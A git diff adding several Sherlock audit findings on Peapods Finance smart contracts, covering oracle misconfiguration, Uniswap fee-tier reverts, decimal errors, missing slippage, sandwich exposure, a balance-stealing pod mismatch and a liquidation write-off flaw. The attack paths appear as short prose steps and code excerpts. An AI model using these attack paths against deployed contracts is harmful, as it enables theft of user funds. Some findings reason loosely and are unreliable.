+ assertEq(returnedPod, address(pod), "Incorrect pod address");
+ assertEq(lendingPair, address(mockFraxlendPair), "Incorrect lending pair address");
+ assertNotEq(custodian, address(0), "Custodian address should not be zero");
+ assertEq(isSelfLending, false, "Not self lending");
+ assertEq(hasSelfLendingPairPod, false, "Self lending pod should be zero");
+}
+```
+Note that the contract will have existing balances of token as it holds the receipt of those staking/LP positions. Hence, this attack can be carried out to steal the existing balance for your leverage, without transferring any real tokens in.
+
+## Recommendation
+If the position is already initialized, enforce that `_pod == positionProps[_positionId].pod`.
+
+Basically in [line](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L291):
+```diff
+function _addLeveragePreCallback(
+ address _sender,
+ uint256 _positionId,
+ address _pod,
+ uint256 _pTknAmt,
+ uint256 _pairedLpDesired,
+ uint256 _userProvidedDebtAmt,
+ bool _hasSelfLendingPairPod,
+ bytes memory _config
+) internal {
+ if (_positionId == 0) {
+ _positionId = _initializePosition(_pod, _sender, address(0), _hasSelfLendingPairPod);
+ } else {
+ ....
+- _pod = positionProps[_positionId].pod;
++ require(_pod == positionProps[_positionId].pod);
+ }
+ ....
+}
+```
\ No newline at end of file
diff --git a/418.md b/418.md
new file mode 100644
index 0000000..f8d82d6
--- /dev/null
+++ b/418.md
@@ -0,0 +1,44 @@
+Old Blush Hornet
+
+Medium
+
+# StaticOracle not available mode,base,bera
+
+### Summary
+
+The contract may not work as expected on mode,base,bera due to hard-coded StaticOracle.
+
+### Root Cause
+
+```solidity
+ uint256 _price1 = IStaticOracle(0xB210CE856631EeEB767eFa666EC7C1C57738d438).quoteSpecificPoolsWithTimePeriod(
+ ORACLE_PRECISION, BASE_TOKEN, QUOTE_TOKEN, _pools, TWAP_DURATION
+ );
+```
+
+in `DualOracleChainlinkUniV3` contract the function `getPrice` used to return two prices from different oracles, however the StaticOracle address is hard-coded to `0xB210CE856631EeEB767eFa666EC7C1C57738d438` since it only available on Ethereum, Arbitrum One.
+ this will make the function not work will the contract is will be deployed on Base, Mode, Berachain.
+
+### Internal Pre-conditions
+
+.
+
+### External Pre-conditions
+
+.
+
+### Attack Path
+
+.
+
+### Impact
+
+contract may not executing logic as expected.
+
+### PoC
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L141C1-L143C11
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/419.md b/419.md
new file mode 100644
index 0000000..b5b4c79
--- /dev/null
+++ b/419.md
@@ -0,0 +1,44 @@
+Genuine Carrot Goat
+
+Medium
+
+# `_swapV3Single()` will revert on Arbitrum due to the catch block trying to get a pool with a fee tier of 0.02% (which is non-existent in UniV3)
+
+### Summary
+
+`_swapV3Single()` will revert when called on Arbitrum due to the faulty try/catch block.
+
+First, it will try to get the pool with token0, token1, and 1% pool fee tier, but on Arbitrum currently, only 0.3% fee tier exists as per Peapods website: https://docs.peapods.finance/links/contract-addresses
+
+Second of all, the revert will be caught gracefully in the catch block, but the issue is that in the catch block, it tries to get the pool with a 0.02% fee tier, which is non-existent in Uniswap v3, causing a total revert of the function.
+
+### Root Cause
+
+I would consider the root cause to be the catch block, as it should NOT contain code that can revert, so the root cause is trying to retrieve a pool with a fee tier which does not exist on uni v3, which is the 0.02% pool fee tier.
+
+But we can't leave the part in which the try block tries to retrieve the pool with a fee tier which exists in uni v3 -> 1%, but there are no currently pools deployed on Arbitrum with 1% fee tier as seen in Peapods' website.
+
+### Internal Pre-conditions
+
+The blockchain needs to be Arbitrum.
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. `indexUtils::addLPAndStake()` is called to add some tokens into the LP pool, which happens during leveraging
+2. The transaction will revert due to it going into `_zap()` and into `_swapV3Single()` which first reverts because no pool with 1% fee exists on Arbitrum, but this will be caught in the catch block, but then the catch block itself tries to retrieve a pool with 0.02% fee tier, which does not exists as a possibility in Uni v3
+
+### Impact
+
+Leverage can't happen on Arbitrum and will revert
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The catch block should try to retrieve the pool with an existing and deployed fee tier.
\ No newline at end of file
diff --git a/420.md b/420.md
new file mode 100644
index 0000000..0d44837
--- /dev/null
+++ b/420.md
@@ -0,0 +1,48 @@
+Nice Lipstick Nightingale
+
+Medium
+
+# Protocol Implementation Deviates from ERC4626 Standard Requirements
+
+### Summary
+
+The protocol's vault implementations deviate from the **ERC4626 standard requirements**, which could lead to **unexpected behavior** when other protocols integrate with these vaults. While the protocol documentation claims ERC4626 compliance, several key standard requirements are not properly implemented.
+
+### Root Cause
+
+The ERC4626 standard requires specific implementations, but the protocol implements them differently:
+
+1. In `LendingAssetVault.sol`:
+```solidity
+function convertToShares(uint256 _assets) public view override returns (uint256 _shares) {
+ _shares = (_assets * PRECISION) / _cbr();
+}
+```
+**ERC4626 Requirement**: "convertToShares MUST NOT show any variations depending on the caller"
+**Protocol Implementation**: The function uses `_cbr()` which can vary between calls, potentially causing inconsistent share calculations.
+
+- [EIP-4626 Specification](https://eips.ethereum.org/EIPS/eip-4626)
+
+### Internal Pre-conditions
+
+no
+
+### External Pre-conditions
+
+no
+
+### Attack Path
+
+no
+
+### Impact
+
+Other protocols integrating with these vaults may experience unexpected behavior,platforms built for ERC4626 vaults may not work correctly, The implementation does not fulfill the guarantees required by ERC4626
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ Align implementation with ERC4626 requirements
\ No newline at end of file
diff --git a/421.md b/421.md
new file mode 100644
index 0000000..05d4357
--- /dev/null
+++ b/421.md
@@ -0,0 +1,94 @@
+Boxy Charcoal Perch
+
+High
+
+# `AutoCompoundingPodlLp::_getSwapAmount` assumes tokens are sorted
+
+### Summary
+
+`AutoCompoundingPodlLp::_getSwapAmount` assumes tokens are already sorted, in the case where tokens are not in correct order, this can lead to significant loss of lp tokens and rewards to depositors
+
+
+### Root Cause
+
+The `_getSwapAmount` function is only called from `AutoCompoundingPodlLp::_pairedLpTokenToPodLp` to calculate the amount of paired tokens to swap for pod tokens before adding liquidity to the pool.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L391-L395
+```solidity
+function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn); // <@ audit
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ //...SNIP...
+}
+
+function _getSwapAmt(address _t0, address _t1, address _swapT, uint256 _fullAmt) internal view returns (uint256) {
+ (uint112 _r0, uint112 _r1) = DEX_ADAPTER.getReserves(DEX_ADAPTER.getV2Pool(_t0, _t1)); // <@ audit
+ uint112 _r = _swapT == _t0 ? _r0 : _r1;
+ return (_sqrt(_r * (_fullAmt * 3988000 + _r * 3988009)) - (_r * 1997)) / 1994;
+}
+```
+
+It is important to understand why this is necessary to understand why it is an issue.
+Adding liquidity to a uniswapV2 pool requires adding both tokens in proportional amounts to their respective reserves, not doing so will result in a loss of lp tokens the more imbalanced the amount of token added are compared to the pools reserves. [for a more detailed reference/explanation see here](https://jeiwan.net/posts/programming-defi-uniswapv2-1/) #Pooling Liquidity.
+
+https://github.com/Uniswap/v2-core/blob/ee547b17853e71ed4e0101ccfd52e70d5acded58/contracts/UniswapV2Pair.sol#L119-L124
+
+```solidity
+ if (_totalSupply == 0) {
+ liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
+ _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
+ } else {
+ liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);// <@ audit
+ }
+```
+
+consider this case: for simplicity we're assuming the token prices are 1:1 so equal reserves as well,
+
+- \_totalSupply = 1000
+- \_reserve0 = 1000
+- \_reserve1 = 1000
+- amount0 = 500
+- amount1 = 50
+
+Liquidity minted would be the min. which in this case is = 50 _ 1000 / 1000 = 50.
+If the user instead swaps ~225 token0 to token1 (i.e. so both tokens are balanced at 275 each) their lp minted would be ~ 275 _ 1000 / 1000 = ~ 275 (assuming swap is not done on same pool for simplicity, the formula used in the code obviously accounts for that).
+This means the user looses ~225 Lp tokens by adding unbalanced liquidity to the pool.
+
+Similarly, because `_getSwapAmount` assumes the first token as token0 and 2nd as token1, if this is not the case then the amount of paired token to be swapped for pod tokens will be incorrect (as the wrong reserve will be used in the calculation) and will lead to loss of lp tokens due to adding unbalanced liquidity to the pool.
+
+
+### Internal Pre-conditions
+
+NONE
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+NONE
+
+### Impact
+
+High - loss of lp tokens (rewards to depositors) due to addition of unbalanced liquidity to pool
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Sort tokens before calculating swapAmount
+
+```solidity
+function _getSwapAmt(address _t0, address _t1, address _swapT, uint256 _fullAmt) internal view returns (uint256) {
+ (_t0, _t1) = _t0 < _t1 ? (_t0, _t1) : (_t1, _t0); //<@
+ (uint112 _r0, uint112 _r1) = DEX_ADAPTER.getReserves(DEX_ADAPTER.getV2Pool(_t0, _t1)); // <@ audit
+ uint112 _r = _swapT == _t0 ? _r0 : _r1;
+ return (_sqrt(_r * (_fullAmt * 3988000 + _r * 3988009)) - (_r * 1997)) / 1994;
+}
+```
\ No newline at end of file
diff --git a/422.md b/422.md
new file mode 100644
index 0000000..5eeb6a2
--- /dev/null
+++ b/422.md
@@ -0,0 +1,142 @@
+Festive Peanut Vulture
+
+High
+
+# Users sending type(uint256).max transfers will cause accounting discrepancies due to custom token behavior
+
+### Summary
+
+The ability to pass type(uint256).max as transfer amounts will cause accounting discrepancies in core protocol functions due to tokens like cUSDCv3 having custom behavior where type(uint256).max transfers the user's entire balance instead of the expected amount. This will lead to protocol accounting mismatches and incorrect share/asset ratios across multiple critical contracts.
+
+### Root Cause
+
+Multiple critical protocol components are vulnerable to accounting discrepancies due to lack of validation against type(uint256).max token transfers in key functions:
+
+1. In `StakingPoolToken.sol:67` the stake() function lacks validation: https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L67-L67
+```solidity
+function stake(address _user, uint256 _amount) external override {
+ require(stakingToken != address(0), "I");
+ _mint(_user, _amount); // Mints shares based on type(uint256).max
+ IERC20(stakingToken).safeTransferFrom(_msgSender(), address(this), _amount);
+}
+```
+
+ StakingPoolToken is explicitly highlighted as a core protocol component that "custodies a lot of funds". The mismatch between expected and actual transfer amounts could lead to incorrect share minting and permanent vault accounting issues.
+
+2. In `LeverageManager.sol:81` the addLeverage() function: https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L81-L81
+```solidity
+function addLeverage(
+ uint256 _positionId,
+ address _pod,
+ uint256 _pTknAmt,
+ uint256 _pairedLpDesired,
+ uint256 _userProvidedDebtAmt,
+ bool _hasSelfLendingPairPod,
+ bytes memory _config
+) external override workflow(true) {
+ IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _pTknAmt);
+}
+```
+
+The team specifically calls out addLeverage() as a critical entry point that must be "very secure". Any accounting discrepancies here could cause leveraged positions to be incorrectly sized, potentially leading to incorrect liquidation thresholds.
+
+3. In `DecentralizedIndex.sol:378` removeLiquidityV2(): https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L378-L378
+```solidity
+function removeLiquidityV2(
+ uint256 _lpTokens,
+ uint256 _minIdxTokens,
+ uint256 _minPairedLpToken,
+ uint256 _deadline
+) external override lock noSwapOrFee {
+ IERC20(V2_POOL).safeTransferFrom(_msgSender(), address(this), _lpTokens);
+}
+```
+
+Incorrect liquidity removal amounts could destabilize pool ratios and affect the entire protocol's pricing.
+
+4. In `TokenRewards.sol:141` depositFromPairedLpToken(): https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L141-L141
+```solidity
+function depositFromPairedLpToken(uint256 _amountTknDepositing) public override {
+ IERC20(PAIRED_LP_TOKEN).safeTransferFrom(_msgSender(), address(this), _amountTknDepositing);
+}
+```
+
+This affects the protocol's reward distribution system. Incorrect deposit amounts could lead to unfair reward distributions and permanently misaligned incentive structures.
+
+5. In `LendingAssetVault.sol:162` deposit: https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L162-L162
+```solidity
+function _deposit(uint256 _assets, uint256 _shares, address _receiver) internal {
+ require(_assets != 0 && _shares != 0, "M");
+ _totalAssets += _assets;
+ _mint(_receiver, _shares);
+ IERC20(_asset).safeTransferFrom(_msgSender(), address(this), _assets);
+}
+```
+
+The vault's Collateral Backing Ratio (CBR), which is specifically called out as a critical invariant that "should always increase and never decrease" except in cases of bad debt. Accounting mismatches here could permanently break this core protocol invariant.
+
+The severity is amplified because:
+1. These vulnerabilities exist in contracts explicitly identified as critical by the team
+2. They affect core protocol functionality around asset custody and accounting
+3. While the protocol has whitelisting for rewards tokens, other token integration paths need to be carefully examined to determine potential exposure to tokens with custom type(uint256).max behavior.
+4. Impact could lead to material loss of funds through incorrect accounting and broken protocol invariants
+
+Each of these instances could lead to permanent accounting mismatches between expected and actual token balances, potentially compromising the entire protocol's integrity.
+
+### Internal Pre-conditions
+
+1. A token with custom type(uint256).max transfer behavior (like cUSDCv3) must be used in the protocol
+2. User must have a non-zero balance of the token
+3. The affected functions must be called with type(uint256).max as the transfer amount
+
+### External Pre-conditions
+
+None
+
+
+### Attack Path
+
+1. User calls any of the vulnerable functions (e.g. stake(), addLeverage()) with amount = type(uint256).max
+2. Token's transfer function detects max uint and instead transfers user's entire balance
+3. Protocol records type(uint256).max as the transferred amount
+4. Protocol calculates shares/positions based on type(uint256).max
+5. Actual transferred amount is less than recorded amount
+6. Protocol accounting becomes mismatched with actual token balances
+
+### Impact
+
+The protocol suffers from incorrect accounting across multiple critical systems:
+
+1. Incorrect share minting in ERC4626 vaults
+2. Wrong leverage position calculations
+3. Inaccurate liquidity tracking
+4. Mismatched reward distributions
+
+This puts user funds at risk as:
+- Share prices could be manipulated
+- Leverage positions could be incorrectly sized
+- Reward distributions could be uneven
+- Vault accounting could become permanently misaligned
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add validation to prevent type(uint256).max transfers:
+
+```solidity
+function stake(address _user, uint256 _amount) external override {
+ require(_amount != type(uint256).max, "Invalid amount");
+ require(stakingToken != address(0), "I");
+ if (stakeUserRestriction != address(0)) {
+ require(_user == stakeUserRestriction, "U");
+ }
+ _mint(_user, _amount);
+ IERC20(stakingToken).safeTransferFrom(_msgSender(), address(this), _amount);
+ emit Stake(_msgSender(), _user, _amount);
+}
+```
+
+Add similar checks to all functions that accept token transfer amounts.
\ No newline at end of file
diff --git a/423.md b/423.md
new file mode 100644
index 0000000..24affb8
--- /dev/null
+++ b/423.md
@@ -0,0 +1,45 @@
+Genuine Carrot Goat
+
+Medium
+
+# `_getPoolFee()` gives you a zero fee for Arbitrum and passes it as a Uni V3 fee, giving it the impossibility of making the dex_adapter do the swap
+
+### Summary
+
+`_getPoolFee()` checks if the chain is Arbitrum and if so, gives a zero fee, otherwise the fee that the pool has.
+
+The issue is that there is no such thing on Uni v3 as a zero fee trade and the function is used as a param in several places in `_zap()`, such as `__swapV3Single()`.
+
+As seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L176-L178), this is being passed in the dex adapter as a pool fee and will be 100% revert, because no such thing exists as a zero fee tier, making it impossible to make swaps on Arbitrum
+
+### Root Cause
+
+The root cause is giving a zero fee when you are on Arbitrum for a Uni v3 trade, which is illogical as no 0% fee tier exists on Uni v3, regardless if it is on Arbitrum or not.
+
+
+
+### Internal Pre-conditions
+
+Chain must be Arbitrum
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Bob calls `addLeverage()` to add leverage, this function calls in itself `_lpAndStakeInPod()` -> `indexUtils::addLPAndStake()` -> `_zap()` which if has configured the pool to be a Uni v3 pool, will revert every single time it is being called due to trying to pass a zero fee as a fee tier
+
+### Impact
+
+User will be unable to use any functions with a Uni V3 pool that call `_zap()` and will revert.
+
+Broken functionality.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+I would remove the function itself and just pass the fee that is in the pool as the else condition in its ternary operator, instead of giving a zero fee for Arbitrum.
\ No newline at end of file
diff --git a/424.md b/424.md
new file mode 100644
index 0000000..e13f0d6
--- /dev/null
+++ b/424.md
@@ -0,0 +1,82 @@
+Boxy Charcoal Perch
+
+High
+
+# `spTKNMinimalOracle::getPrices` returns incorrect price if base token decimal is < 18 e.g. USDC, WBTC
+
+### Summary
+
+`spTKNMinimalOracle::getPrices` returns incorrect price if base token decimal is < 18 e.g. USDC, WBTC, which will lead to incorrect price calculations wherever such price is used.
+
+
+### Root Cause
+
+`spTKNMinimalOracle::getPrices` as seen here
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L113-L144
+
+```solidity
+ function getPrices()
+ public
+ view
+ virtual
+ override
+ returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh)
+ {
+ uint256 _priceSpTKNBase = _calculateSpTknPerBase(0);
+ _isBadData = _priceSpTKNBase == 0;
+ uint8 _baseDec = IERC20Metadata(BASE_TOKEN).decimals();
+ uint256 _priceOne18 = _priceSpTKNBase * 10 ** (_baseDec > 18 ? _baseDec - 18 : 18 - _baseDec);// <@
+
+
+ uint256 _priceTwo18 = _priceOne18;
+ if (CHAINLINK_BASE_PRICE_FEED != address(0) && CHAINLINK_QUOTE_PRICE_FEED != address(0)) {
+ uint256 _clPrice18 = _chainlinkBasePerPaired18();
+ uint256 _clPriceBaseSpTKN = _calculateSpTknPerBase(_clPrice18);
+ _priceTwo18 = _clPriceBaseSpTKN * 10 ** (_baseDec > 18 ? _baseDec - 18 : 18 - _baseDec);// <@
+ _isBadData = _isBadData || _clPrice18 == 0;
+ }
+
+
+ require(_priceOne18 != 0 || _priceTwo18 != 0, "BZ");
+
+
+ if (_priceTwo18 == 0) {
+ _priceLow = _priceOne18;
+ _priceHigh = _priceOne18;
+ } else {
+ // If the prices are the same it means the CL price was pulled as the UniV3 price
+ (_priceLow, _priceHigh) =
+ _priceOne18 > _priceTwo18 ? (_priceTwo18, _priceOne18) : (_priceOne18, _priceTwo18);
+ }
+ }
+
+```
+
+Attempts to adjust the `priceSpTKNBase` to 18 decimals by the difference between the base token decimals and 18, the issue with this is that `priceSpTKNBase` is already in 18 decimals leading extremely inflated prices.
+
+
+### Internal Pre-conditions
+
+NONE
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+NONE
+
+### Impact
+
+High - incorrect oracle price
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Remove decimal adjustments, price is already in 18 decimals
\ No newline at end of file
diff --git a/425.md b/425.md
new file mode 100644
index 0000000..e2d189f
--- /dev/null
+++ b/425.md
@@ -0,0 +1,40 @@
+Genuine Carrot Goat
+
+High
+
+# `swapV3Single()` has the param `sqrtPriceLimitX96` set to zero, opening the door for sandwich attacks
+
+### Summary
+
+`swapV3Single()` basically tries to make a swap in a uni v3 pool with `sqrtPriceLimitX96` set to zero, which opens the door for sandwich attacks initiated by bots, which will cause the user to incur large losses
+
+### Root Cause
+
+The root cause is setting `sqrtPriceLimitX96` to zero in `swapV3Single()`, as this will make the function has no slippage limit.
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+Bot is configured to snipe that function and it is on a chain with a public mempool (such as Ethereum)
+
+### Attack Path
+
+1. User initiates a swap via `swapV3Single()`
+2. Bot snipes it with large amounts of funds, pushing the price 10% up
+3. User will receive 10% less tokens, causing him a loss of 1/10th
+4. Bot back runs to sell the tokens and profits from this
+
+### Impact
+
+Loss of funds when using `swapV3Single()` without any restrictions, just a bot with funds is needed.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Apply some limit on the param -> `sqrtPriceLimitX96`
\ No newline at end of file
diff --git a/426.md b/426.md
new file mode 100644
index 0000000..e36220b
--- /dev/null
+++ b/426.md
@@ -0,0 +1,48 @@
+Huge Cyan Cod
+
+Medium
+
+# Incorrect `minAnswer` check doesn't protect the protocol from massive price drops
+
+### Summary
+
+Incorrect `minAnswer` check doesn't protect the protocol from massive price drops
+
+### Root Cause
+
+In [Chainlink Single Price Oracle](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/ChainlinkSinglePriceOracle.sol#L117), `minAnswer` and `maxAnswer` checks are handled incorrectly. Let say Chainlink returns 1e17 `minAnswer` value for ETH/USD pair. It means aggregator will never return lesser this value. But single price oracle checks it's lower than that value or not.
+
+```solidity
+ if (_answer > _max || _answer < _min) {
+ _isValid = false;
+ }
+```
+
+In conclusion, this if check will never triggered in time correctly.
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+1. Actual price of the assets should be lower than `minAnswer` or higher than `maxAnswer`
+
+### Attack Path
+
+1. I can give an example from LUNA's massive price drop
+2. LUNA's price drops through zero
+3. Chainlink won't return lower than `minAnswer` value
+4. Protocol will use wrong price information and it can't even detect it as bad data
+
+### Impact
+
+This is low likelihood issue but it's happened before in history ( LUNA ). Users can buy from real price in external pools and they can use it as collateral by pairing it with pTKN and then they can borrow asset using this inflated price.
+
+### Mitigation
+
+Decide a reasonable gap for it. Because Chainlink won't update the price of the asset's price is lower than min answer and the last answer doesn't have to be equal to minAnswer value.
+
+minAnswer + gap > returned value
+
+This check is much better than just checking minimum answer
\ No newline at end of file
diff --git a/427.md b/427.md
new file mode 100644
index 0000000..b88313c
--- /dev/null
+++ b/427.md
@@ -0,0 +1,42 @@
+Genuine Carrot Goat
+
+Medium
+
+# `whitelistWithdraw()` will make the `mapping vaultUtilization` smaller, thus making breaking the invariant of `cbr` going only up and never down
+
+### Summary
+
+In Sherlock's contest page, it is said that the `cbr` should only go up, which is basically the ratio of assets vs shares (simplified).
+
+But in `whitelistWithdraw()`, the `mapping vaultUtilization` is going to be changed, which is one of the values used when calculating `_totalAssets` in `_updateAssetMetadataFromVault()` as seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L303).
+
+This will cause the `_totalAssets` to become smaller every single time `whitelistWithdraw()` is invoked, thus breaking the invariant that the `cbr` is going only and only up
+
+### Root Cause
+
+The root cause is that `whitelistWithdraw()` makes the `mapping vaultUtilization` bigger without any minting of shares, thus making the `_totalAssets` smaller when `_updateAssetMetadataFromVault()` is called -> causing a broken invariant
+
+### Internal Pre-conditions
+
+`whitelistWithdraw()` needs to be called
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Whitelisted Alice calls `whitelistWithdraw()` passing an arbitrary value, causing the `mapping vaultUtilization` to become bigger
+2. Non-whitelisted Bob decides to call `deposit()`, but founds out that he is getting a smaller value than expected due to a bigger `cbr` caused by a bigger `_totalAssets` resulting from the call in the first step of the attack path.
+
+### Impact
+
+Broken invariant when `whitelistWithdraw()` is called - medium severity.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/428.md b/428.md
new file mode 100644
index 0000000..c5b5ca2
--- /dev/null
+++ b/428.md
@@ -0,0 +1,52 @@
+Huge Cyan Cod
+
+Medium
+
+# Dual Oracle Chainlink V3 won't work on Base, Berachain and Mode networks
+
+### Summary
+
+Dual Oracle Chainlink V3 won't work on Base, Berachain and Mode networks
+
+### Root Cause
+
+[Dual Oracle Chainlink V3](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L141), is using hardcoded static oracle address.
+
+This address is deployed in several chains but it's not deployed by the [Balmy protocol](https://github.com/Balmy-protocol/uniswap-v3-oracle) in Berachain, Base, Mode networks.
+
+```solidity
+ function getPrices() external view returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) {
+ address[] memory _pools = new address[](1);
+ _pools[0] = UNI_V3_PAIR_ADDRESS;
+ uint256 _price1 = IStaticOracle(0xB210CE856631EeEB767eFa666EC7C1C57738d438).quoteSpecificPoolsWithTimePeriod(
+ ORACLE_PRECISION, BASE_TOKEN, QUOTE_TOKEN, _pools, TWAP_DURATION
+ );
+ uint256 _price2;
+ (_isBadData, _price2) = _getChainlinkPrice();
+
+ // If bad data return price1 for both, else set high to higher price and low to lower price
+ _priceLow = _isBadData || _price1 < _price2 ? _price1 : _price2;
+ _priceHigh = _isBadData || _price1 > _price2 ? _price1 : _price2;
+ }
+```
+In overall, all the `getPrices()` calls will be reverted because of hardcoded address.
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+No need
+
+### Impact
+
+Dual oracle will be useless in mentioned chains.
+
+### Mitigation
+
+Remove hardcoded address from the function and instead use configurable address
\ No newline at end of file
diff --git a/429.md b/429.md
new file mode 100644
index 0000000..043de24
--- /dev/null
+++ b/429.md
@@ -0,0 +1,39 @@
+Genuine Carrot Goat
+
+Medium
+
+# Lack of slippage in ERC4626 mint/deposit functions
+
+### Summary
+
+When a user wants to mint shares via depositing assets, he needs to be ensured that he is getting an expected number of shares, but due to a lack of slippage, if underlying assets come just before he gets the shares, the `cbr` is going to be bigger and he is going to get less shares due to it.
+
+### Root Cause
+
+Lack of a slippage mechanism in `LendingAssetVault::deposit()`, giving the possibility of a user receiving less shares.
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+Underlying assets come just before user calls `deposit()`
+
+### Attack Path
+
+1. Bob calls `LendingAssetVault::deposit()` with 1e18 expecting to get 1e18 shares
+2. Just before his tx is processed, underlying asset is being deposited as rewards, causing the ratio to be skewed from 100:100 to 95:100
+3. Bob receives 5% less shares than the 1e18 intended
+
+### Impact
+
+Users will receive less shares due to no slippage mechanism
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add a slippage check so users get an expected amount of shares
\ No newline at end of file
diff --git a/430.md b/430.md
new file mode 100644
index 0000000..d34fc90
--- /dev/null
+++ b/430.md
@@ -0,0 +1,129 @@
+Stale Lime Swan
+
+High
+
+# liquidate()
+
+ **the `liquidate()` function can end up writing off (i.e. "adjusting away") a borrower’s remaining debt while at the same time transferring *all* of their collateral to the liquidator**, even if the liquidator has only repaid *part* of the total debt.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L1100
+
+---
+
+### Where the issue appears
+
+In `_liquidate()`, there is logic to handle "clean" vs. "dirty" liquidations:
+
+```solidity
+// ...
+// We first optimistically calculate the amount of collateral to give the liquidator based on the higher clean liquidation fee
+uint256 _optimisticCollateralForLiquidator =
+ (_totalBorrow.toAmount(_sharesToLiquidate, false) * _exchangeRate) / EXCHANGE_PRECISION
+ * (LIQ_PRECISION + cleanLiquidationFee)
+/ LIQ_PRECISION;
+
+// leftoverCollateral = total userCollateral - that "optimistic" amount
+int256 _leftoverCollateral = (userCollateralBalance[_borrower].toInt256()
+ - _optimisticCollateralForLiquidator.toInt256());
+
+// If leftoverCollateral <= 0, the code treats it as a “clean” liquidation ...
+if (_leftoverCollateral <= 0) {
+ // ... forcibly “adjust away” the rest of the borrower’s debt:
+ _sharesToAdjust = _borrowerShares - _sharesToLiquidate;
+ if (_sharesToAdjust > 0) {
+ _amountToAdjust = (_totalBorrow.toAmount(_sharesToAdjust, false)).toUint128();
+ _totalBorrow.amount -= _amountToAdjust;
+ totalAsset.amount -= _amountToAdjust;
+ }
+}
+
+// Then the protocol repays `_sharesToLiquidate + _sharesToAdjust`.
+_repayAsset(
+ _totalBorrow,
+ _amountLiquidatorToRepay,
+ _sharesToLiquidate + _sharesToAdjust,
+ msg.sender,
+ _borrower
+);
+
+// And transfers all borrower collateral to the liquidator if “clean” ...
+_removeCollateral(_collateralForLiquidator, msg.sender, _borrower);
+```
+
+Observe the critical part:
+
+1. **Liquidator only repays `_sharesToLiquidate`**.
+2. If `_leftoverCollateral <= 0`, the contract treats it as a full liquidation and sets
+ ```solidity
+ _sharesToAdjust = _borrowerShares - _sharesToLiquidate;
+ ```
+ meaning the protocol simply “writes off” (`_adjust`) whatever remaining borrow shares the borrower had.
+
+3. At the same time, `_collateralForLiquidator` is set to **all** of the borrower’s collateral (`userCollateralBalance[_borrower]`).
+
+In effect, if there is *any* shortfall in collateral (which can happen for many reasons: price movement, interest accrued, etc.) that leads `_leftoverCollateral` to be slightly below zero, the liquidator is allowed to grab **all** borrower collateral while only paying down a partial chunk (`_sharesToLiquidate`) of the borrower's debt. The remainder of the debt (`_sharesToAdjust`) simply gets “written off” by the protocol.
+
+This can be *intended* in a strict "full wipeout" scenario—when a position is truly underwater, the protocol may choose to eat the difference. But, **the code triggers that same "clean liquidation" path even if the liquidator is *not* repaying all the debt**—it just checks `leftoverCollateral <= 0`. In that case, the protocol effectively under-collects from the borrower’s debt while overpaying the liquidator.
+
+---
+
+### Why it matters
+
+- From the protocol’s standpoint, you typically only want to write off (adjust) the remaining debt if a liquidator truly *covers* all outstanding shares (i.e. a full repay).
+- From the liquidator’s standpoint, the code potentially lets them repay just a fraction of the debt (the `_sharesToLiquidate` part), but still walk away with **all** of the user’s collateral if `_leftoverCollateral` dips below zero.
